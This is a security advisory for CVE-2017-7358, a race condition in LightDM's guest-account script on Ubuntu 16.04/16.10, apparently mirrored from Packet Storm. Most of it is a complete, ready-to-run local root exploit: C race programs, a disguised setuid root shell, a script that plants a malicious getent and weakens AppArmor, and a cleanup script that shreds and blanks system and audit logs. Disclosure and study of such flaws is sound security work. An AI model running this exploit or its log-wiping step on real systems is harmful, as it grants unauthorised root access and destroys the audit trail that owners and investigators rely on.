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packetstormG. GeshevPACKETSTORM:142320
HistoryApr 26, 2017 - 12:00 a.m.

LightDM (Ubuntu 16.04/16.10) Privilege Escalation

2017-04-2600:00:00
G. Geshev
packetstormsecurity.com
494

0.001 Low

EPSS

Percentile

27.0%

`Source: https://blogs.securiteam.com/index.php/archives/3134  
  
Vulnerability Summary  
The following advisory describes a local privilege escalation via LightDM  
found in Ubuntu versions 16.10 / 16.04 LTS.  
  
Ubuntu is an open source software platform that runs everywhere from IoT  
devices, the smartphone, the tablet and the PC to the server and the  
cloud. LightDM is an X display manager that aims to be lightweight, fast,  
extensible and multi-desktop. It uses various front-ends to draw login  
interfaces, also called Greeters.  
  
  
Credit  
An independent security researcher, G. Geshev (@munmap), has reported this  
vulnerability to Beyond Securityas SecuriTeam Secure Disclosure program  
  
  
Vendor Responses  
The vendor has released a patch to address this issue.  
For more information: https://www.ubuntu.com/usn/usn-3255-1/  
  
  
CVE Details  
CVE-2017-7358 <https://nvd.nist.gov/vuln/detail/CVE-2017-7358>  
  
  
Vulnerability Details  
The vulnerability is found in *LightDM*, which is the Ubuntuas default  
desktop manager, more specifically in the guest login feature. By default  
*LightDM* allows you to log into a session as a temporary user. This is  
implemented in a script called a*guest-account*a.  
  
@ubuntu:~$ ls -l /usr/sbin/guest-account  
-rwxr-xr-x 1 root root 6516 Sep 29 18:56 /usr/sbin/guest-account  
  
@ubuntu:~$ dpkg -S /usr/sbin/guest-account  
lightdm: /usr/sbin/guest-account  
  
@ubuntu:~$ dpkg -s lightdm  
Package: lightdm  
Status: install ok installed  
Priority: optional  
Section: x11  
Installed-Size: 672  
Maintainer: Robert Ancell <[email protected]>  
Architecture: amd64  
Version: 1.19.5-0ubuntu1  
Provides: x-display-manager  
Depends: debconf (>= 0.5) | debconf-2.0, libc6 (>= 2.14), libgcrypt20 (>=  
1.7.0), libglib2.0-0 (>= 2.39.4), libpam0g (>= 0.99.7.1), libxcb1, libxdmcp6  
, adduser, bash (>= 4.3), dbus, libglib2.0-bin, libpam-runtime (>= 0.76-14),  
libpam-modules, plymouth (>= 0.8.8-0ubuntu18)  
Pre-Depends: dpkg (>= 1.15.7.2)  
Recommends: xserver-xorg, unity-greeter | lightdm-greeter | lightdm-kde-  
greeter  
Suggests: bindfs  
Conflicts: liblightdm-gobject-0-0, liblightdm-qt-0-0  
Conffiles:  
/etc/apparmor.d/abstractions/lightdm a715707411c3cb670a68a4ad738077bf  
/etc/apparmor.d/abstractions/lightdm_chromium-browser  
e1195e34922a67fa219b8b95eaf9c305  
/etc/apparmor.d/lightdm-guest-session 3c7812f49f27e733ad9b5d413c4d14cb  
/etc/dbus-1/system.d/org.freedesktop.DisplayManager.conf  
b76b6b45d7f7ff533c51d7fc02be32f4  
/etc/init.d/lightdm be2b1b20bec52a04c1a877477864e188  
/etc/init/lightdm.conf 07304e5b3265b4fb82a2c94beb9b577e  
/etc/lightdm/users.conf 1de1a7e321b98e5d472aa818893a2a3e  
/etc/logrotate.d/lightdm b6068c54606c0499db9a39a05df76ce9  
/etc/pam.d/lightdm 1abe2be7a999b42517c82511d9e9ba22  
/etc/pam.d/lightdm-autologin 28dd060554d1103ff847866658431ecf  
/etc/pam.d/lightdm-greeter 65ed119ce8f4079f6388b09ad9d8b2f9  
Description: Display Manager  
LightDM is a X display manager that:  
* Has a lightweight codebase  
* Is standards compliant (PAM, ConsoleKit, etc)  
* Has a well defined interface between the server and user interface  
* Cross-desktop (greeters can be written in any toolkit)  
Homepage: https://launchpad.net/lightdm  
  
@ubuntu:~$  
  
The script runs as root when you view the login screen, also known as a  
greeter, to log in as a guest. Ubuntuas default greeter is Unity Greeter.  
  
  
*Vulnerable code*  
  
The vulnerable function is a*add_account*a.  
  
35 temp_home=$(mktemp -td guest-XXXXXX)  
36 GUEST_HOME=$(echo ${temp_home} | tr '[:upper:]' '[:lower:]')  
37 GUEST_USER=${GUEST_HOME#/tmp/}  
38 [ ${GUEST_HOME} != ${temp_home} ] && mv ${temp_home} ${GUEST_HOME}  
  
The guest folder gets created using amktempa on line 35. The attacker can  
use a*inotify*a to monitor a*/tmp*a for the creation of this folder.  
  
The folder name will likely contain both upper and lower case letters. Once  
this folder is created, we grab the folder name and quickly and create the  
equivalent folder with all letters lower case.  
  
If we manage to race the a*mv*a command on line 38, we end up with the  
newly created home for the guest user inside the folder we own.  
  
Once we have the guest home under our control, we rename it and replace it  
with a *symbolic link* to a folder we want to take over. The code below  
will then add the new user to the OS. The useras home folder will already  
point to the folder we want to take over, for example a*/usr/local/sbin*a.  
  
68 useradd --system --home-dir ${GUEST_HOME} --comment $(gettext "Guest")  
--user-group --shell /bin/bash ${GUEST_USER} || {  
69 rm -rf ${GUEST_HOME}  
70 exit 1  
71 }  
  
The attacker can grab the newly created useras ID and monitor a  
*/usr/local/sbin*a for ownership changes. The ownership will be changed by  
the following a*mount*a.  
  
78 mount -t tmpfs -o mode=700,uid=${GUEST_USER} none ${GUEST_HOME} || {  
79 rm -rf ${GUEST_HOME}  
80 exit 1  
81 }  
  
We will remove the symbolic link and create a folder with the same name a  
to let the guest user to log in. While the guest is logging in, his path  
for finding executable files will include a*bin*a under his home folder.  
  
Thatas why we create a new symbolic link to point his a*bin*a into a folder  
we control. This way we can force the user to execute our own code under  
his user ID. We use this to log out the guest user from his session which  
is where we can gain root access.  
  
The logout code will first execute the following code:  
  
156 PWENT=$(getent passwd ${GUEST_USER}) || {  
157 echo "Error: invalid user ${GUEST_USER}"  
158 exit 1  
159 }  
  
This code will be executed as the owner of the script, i.e. root. Since we  
have already taken over a*/usr/local/sbin*a and have planted our own a  
*getent*a, we get to execute commands as root at this point.  
  
Note a We can trigger the guest session creation script by entering the  
following two commands.  
  
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock  
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool  
switch-to-guest  
  
  
Proof of Concept  
  
The Proof of Concept is contains 9 files and they will take advantage of  
the race conditions mentioned above.  
  
1. kodek/bin/cat  
2. kodek/shell.c  
3. kodek/clean.sh  
4. kodek/run.sh  
5. kodek/stage1.sh  
6. kodek/stage1local.sh  
7. kodek/stage2.sh  
8. kodek/boclocal.c  
9. kodek/boc.c  
  
By running the following scripts an attacker can run root commands:  
  
@ubuntu:/var/tmp/kodek$ ./stage1local.sh  
  
@ubuntu:/var/tmp/kodek$  
[!] GAME OVER !!!  
[!] count1: 2337 count2: 7278  
[!] w8 1 minute and run /bin/subash  
  
@ubuntu:/var/tmp/kodek$ /bin/subash  
root@ubuntu:~# id  
uid=0(root) gid=0(root) groups=0(root)  
root@ubuntu:~#  
  
If the exploit fails, you can simply run it again.  
  
Once you get your root shell, you can optionally clean any exploit files  
and logs by executing the below.  
  
root@ubuntu:/var/tmp/kodek# ./clean.sh  
/usr/bin/shred: /var/log/audit/audit.log: failed to open for writing: No such  
file or directory  
Do you want to remove exploit (y/n)?  
y  
/usr/bin/shred: /var/tmp/kodek/bin: failed to open for writing: Is a  
directory  
  
root@ubuntu:/var/tmp/kodek#  
  
boc.c  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <string.h>  
#include <ctype.h>  
#include <sys/inotify.h>  
#include <sys/stat.h>  
#include <pwd.h>  
#define EVENT_SIZE(sizeof(struct inotify_event))  
#define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16))  
int main(void) {  
struct stat info;  
struct passwd * pw;  
struct inotify_event * event;  
pw = getpwnam("root");  
if (pw == NULL) exit(0);  
char newpath[20] = "old.";  
int length = 0, i, fd, wd, count1 = 0, count2 = 0;  
int a, b;  
char buffer[EVENT_BUF_LEN];  
fd = inotify_init();  
if (fd < 0) exit(0);  
wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM);  
if (wd < 0) exit(0);  
chdir("/tmp/");  
while (1) {  
length = read(fd, buffer, EVENT_BUF_LEN);  
if (length > 0) {  
event = (struct inotify_event * ) buffer;  
if (event - > len) {  
if (strstr(event - > name, "guest-") != NULL) {  
for (i = 0; event - > name[i] != '\0'; i++) {  
event - > name[i] = tolower(event - > name[i]);  
}  
if (event - > mask & IN_CREATE) mkdir(event - > name, ACCESSPERMS)  
;  
if (event - > mask & IN_MOVED_FROM) {  
rename(event - > name, strncat(newpath, event - > name, 15));  
symlink("/usr/local/sbin/", event - > name);  
while (1) {  
count1 = count1 + 1;  
pw = getpwnam(event - > name);  
if (pw != NULL) break;  
}  
while (1) {  
count2 = count2 + 1;  
stat("/usr/local/sbin/", & info);  
if (info.st_uid == pw - > pw_uid) {  
a = unlink(event - > name);  
b = mkdir(event - > name, ACCESSPERMS);  
if (a == 0 && b == 0) {  
printf("\n[!] GAME OVER !!!\n[!] count1: %i count2: %i\n",  
count1, count2);  
} else {  
printf("\n[!] a: %i b: %i\n[!] exploit failed !!!\n", a, b  
);  
}  
system("/bin/rm -rf /tmp/old.*");  
inotify_rm_watch(fd, wd);  
close(fd);  
exit(0);  
}  
}  
}  
}  
}  
}  
}  
}  
  
boclocal.c  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <string.h>  
#include <ctype.h>  
#include <sys/inotify.h>  
#include <sys/stat.h>  
#include <pwd.h>  
#define EVENT_SIZE(sizeof(struct inotify_event))  
#define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16))  
int main(void) {  
struct stat info;  
struct passwd * pw;  
struct inotify_event * event;  
pw = getpwnam("root");  
if (pw == NULL) exit(0);  
char newpath[20] = "old.";  
int length = 0, i, fd, wd, count1 = 0, count2 = 0;  
int a, b, c;  
char buffer[EVENT_BUF_LEN];  
fd = inotify_init();  
if (fd < 0) exit(0);  
wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM);  
if (wd < 0) exit(0);  
chdir("/tmp/");  
while (1) {  
length = read(fd, buffer, EVENT_BUF_LEN);  
if (length > 0) {  
event = (struct inotify_event * ) buffer;  
if (event - > len) {  
if (strstr(event - > name, "guest-") != NULL) {  
for (i = 0; event - > name[i] != '\0'; i++) {  
event - > name[i] = tolower(event - > name[i]);  
}  
if (event - > mask & IN_CREATE) mkdir(event - > name, ACCESSPERMS)  
;  
if (event - > mask & IN_MOVED_FROM) {  
rename(event - > name, strncat(newpath, event - > name, 15));  
symlink("/usr/local/sbin/", event - > name);  
while (1) {  
count1 = count1 + 1;  
pw = getpwnam(event - > name);  
if (pw != NULL) break;  
}  
while (1) {  
count2 = count2 + 1;  
stat("/usr/local/sbin/", & info);  
if (info.st_uid == pw - > pw_uid) {  
a = unlink(event - > name);  
b = mkdir(event - > name, ACCESSPERMS);  
c = symlink("/var/tmp/kodek/bin/", strncat(event - > name,  
"/bin", 5));  
if (a == 0 && b == 0 && c == 0) {  
printf("\n[!] GAME OVER !!!\n[!] count1: %i count2:  
%i\n[!] w8 1 minute and run /bin/subash\n", count1, count2);  
} else {  
printf("\n[!] a: %i b: %i c: %i\n[!] exploit failed  
!!!\n[!] w8 1 minute and run it again\n", a, b, c);  
}  
system("/bin/rm -rf /tmp/old.*");  
inotify_rm_watch(fd, wd);  
close(fd);  
exit(0);  
}  
}  
}  
}  
}  
}  
}  
}  
  
clean.sh  
  
#!/bin/bash  
if [ "$(/usr/bin/id -u)" != "0" ]; then  
echo "This script must be run as root" 1>&2  
exit 1  
fi  
/bin/rm -rf /tmp/guest-* /tmp/old.guest-*  
/usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc /var/log/kern  
.log /var/log/audit/audit.log /var/log/lightdm/*  
/bin/echo > /var/log/auth.log  
/bin/echo > /var/log/syslog  
/bin/dmesg -c >/dev/null 2>&1  
/bin/echo "Do you want to remove exploit (y/n)?"  
read answer  
if [ "$answer" == "y" ]; then  
/usr/bin/shred -fu /var/tmp/kodek/* /var/tmp/kodek/bin/*  
/bin/rm -rf /var/tmp/kodek  
else  
exit  
fi  
  
run.sh  
  
#!/bin/sh  
/bin/cat << EOF > /usr/local/sbin/getent  
#!/bin/bash  
/bin/cp /var/tmp/shell /bin/subash >/dev/null 2>&1  
/bin/chmod 4111 /bin/subash >/dev/null 2>&1  
COUNTER=0  
while [ \$COUNTER -lt 10 ]; do  
/bin/umount -lf /usr/local/sbin/ >/dev/null 2>&1  
let COUNTER=COUNTER+1  
done  
/bin/sed -i 's/\/usr\/lib\/lightdm\/lightdm-guest-session  
{/\/usr\/lib\/lightdm\/lightdm-guest-session flags=(complain) {/g' /etc/  
apparmor.d/lightdm-guest-session >/dev/null 2>&1  
/sbin/apparmor_parser -r /etc/apparmor.d/lightdm-guest-session >/dev/null 2>  
&1  
/usr/bin/getent passwd "\$2"  
EOF  
/bin/chmod 755 /usr/local/sbin/getent >/dev/null 2>&1  
  
shell.c  
  
#define _GNU_SOURCE  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <grp.h>  
  
int main(void)  
{  
setresuid(0, 0, 0);  
setresgid(0, 0, 0);  
setgroups(0, NULL);  
putenv("HISTFILE=/dev/null");  
execl("/bin/bash", "[bioset]", "-pi", NULL);  
return 0;  
}  
  
stage1.sh  
  
#!/bin/bash  
if [ "${PWD}" == "/var/tmp/kodek" ]; then  
/usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1  
/usr/bin/killall -9 boc >/dev/null 2>&1  
/bin/sleep 3s  
/usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>  
&1  
/usr/bin/gcc boc.c -Wall -s -o /var/tmp/boc  
/usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell  
/bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh  
/var/tmp/boc  
else  
echo "[!] run me from /var/tmp/kodek"  
exit  
fi  
  
stage1local.sh  
  
#!/bin/bash  
if [ "${PWD}" == "/var/tmp/kodek" ]; then  
/usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1  
/usr/bin/killall -9 boc >/dev/null 2>&1  
/bin/sleep 3s  
/usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>  
&1  
/usr/bin/gcc boclocal.c -Wall -s -o /var/tmp/boc  
/usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell  
/bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh  
/var/tmp/boc &  
/bin/sleep 5s  
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock  
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool  
switch-to-guest  
else  
echo "[!] run me from /var/tmp/kodek"  
exit  
fi  
  
stage2.sh  
  
#!/bin/sh  
/usr/bin/systemd-run --user /var/tmp/run.sh  
  
/bin/cat  
  
#!/bin/sh  
/usr/bin/systemd-run --user /var/tmp/run.sh  
/bin/sleep 15s  
/bin/loginctl terminate-session `/bin/loginctl session-status | /usr/bin/  
head -1 | /usr/bin/awk '{ print $1 }'`  
  
  
`